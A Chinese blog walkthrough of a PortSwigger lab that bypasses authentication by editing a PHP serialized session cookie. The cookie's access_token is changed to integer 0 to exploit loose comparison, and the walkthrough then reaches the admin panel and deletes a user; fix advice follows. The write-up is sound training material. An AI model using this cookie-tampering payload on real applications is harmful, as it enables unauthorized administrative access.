portswigger靶场之修改序列化数据类型通关秘籍

一、漏洞原理(核心)

靶场链接:https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types

1️⃣ 使用 客户端可控的 PHP 序列化会话

该实验的 Web 应用将用户身份信息直接存储在 Cookie 中的 PHP 序列化对象

复制代码
O:4:"User":2:{
  s:8:"username";s:6:"wiener";
  s:12:"access_token";s:32:"xxxxxxxx";
}

并在服务器端 直接反序列化并信任其中的字段,这本身就违反了安全设计原则:

❌ 不可信数据不应被反序列化

❌ 客户端数据不应参与权限判断


2️⃣ PHP 7.x 及更早版本的 弱类型比较漏洞(Type Juggling)

PHP 在进行比较时存在如下行为(==):

复制代码
"0" == 0      // true
"admin" == 0  // true

如果服务器端代码类似:

复制代码
if ($user->access_token == 0) {
    // 管理员
}

那么:

  • 字符串 "0"

  • 整数 0

  • 某些非数字字符串

在弱比较下都会被视为 0,从而绕过身份校验。


3️⃣ 漏洞本质总结(一句话)

客户端可控的 PHP 序列化对象 + PHP 弱类型比较(==)
→ 可通过修改字段"类型"实现身份认证绕过


二、漏洞利用流程(完整复现)

Step 1:正常登录

使用提供的凭据登录:

复制代码
wiener : peter

Step 2:查看 Session Cookie(反序列化对象)

在 Burp 中查看登录后的请求:

复制代码
GET /my-account?id=wiener

Cookie 中可看到序列化对象(Inspector 中自动解析):

复制代码
O:4:"User":2:{
  s:8:"username";s:6:"wiener";
  s:12:"access_token";s:32:"<token>";
}

将该请求 Send to Repeater


Step 3:构造恶意序列化对象(关键)

修改点一:用户名
  • username 长度改为 13

  • 值改为 administrator

    s:8:"username";s:13:"administrator";


修改点二:访问令牌(关键漏洞点)

原来是字符串:

复制代码
s:12:"access_token";s:32:"xxxx";

修改为 整数 0

  • 删除双引号

  • 类型标记 si

    s:12:"access_token";i:0;


✅ 最终 Payload(关键结果)

复制代码
O:4:"User":2:{
  s:8:"username";s:13:"administrator";
  s:12:"access_token";i:0;
}

Burp 会自动完成 Base64 + URL 编码。


Step 4:发送请求并验证身份绕过

发送修改后的请求:

php 复制代码
GET /my-account?id=administrator

🔎 观察响应:

  • 页面中出现 /admin 链接

  • 表明服务器已将你识别为 administrator


Step 5:访问管理面板

复制代码
GET /admin

返回管理员页面,可看到用户列表。


Step 6:删除用户 carlos(完成实验)

php 复制代码
GET /admin/delete?username=carlos

✔️ 用户被删除

✔️ 实验状态变为 Solved


三、关键技术点总结(博客高亮)

漏洞点 说明
客户端反序列化 Cookie 中存储完整 User 对象
缺乏完整性保护 无签名 / MAC / 加密
PHP Type Juggling 使用 == 导致类型混淆
权限逻辑缺陷 access_token 可被用户控制

四、如何修复该漏洞(防御建议)

✅ 1️⃣ 永远不要反序列化不可信数据

  • Cookie 中只存 随机 Session ID

  • 用户信息存于服务器端 Session / 数据库


✅ 2️⃣ 使用严格类型比较(PHP)

复制代码
if ($token === 0) { ... }   // 而不是 ==

✅ 3️⃣ 禁止客户端控制权限字段

复制代码
is_admin
access_token
role

必须由服务器端生成并校验。


✅ 4️⃣ 为 Session 数据添加完整性校验

  • HMAC

  • JWT(正确配置)

  • 服务端 Session 存储


五、一句话结论(实验总结)

本实验利用了 PHP 反序列化信任客户端数据 + 弱类型比较(Type Juggling)的组合漏洞,通过修改序列化字段的数据类型,成功绕过身份认证并获得管理员权限。

相关推荐
又见情义3 小时前
RK3568 Android 13 本地 U 盘 OTA 升级实战:基于 RKUpdateService 的完整流程
android
lichenyang4534 小时前
让 VK 小程序调用 HarmonyOS 原生能力:一次跨端 Bridge SDK 的设计与实践
前端
阳光宅男@李光熠4 小时前
【电子通识】一起学习TDK的EMC基础——电池兼容设计方法概述
java·前端·数据库
南雨北斗4 小时前
vue3项目中的env.d.ts文件
前端
黄昏回响4 小时前
软件工程基础知识(五):软件测试详解(下篇)——现代测试实践与论文指导
网络·其他·软件工程·改行学it
烈风逍遥4 小时前
第五篇:通用 LLM 流式对话:前后端联接的完整实现
前端·后端·架构
aixingpan4 小时前
aixingpan.cn API开发文档:api_docs_trichart_natal_progression_sec_transit2接口指南
前端·php
江华森5 小时前
Web 安全实战:验证机制、会话管理、SQL 注入、XSS 与 CSRF
前端
Godikov5 小时前
Android10后台弹窗与APK自动更新
android
江华森5 小时前
HTTPS 实战:TLS 握手成本、自制 CA 与证书、三大常见故障
前端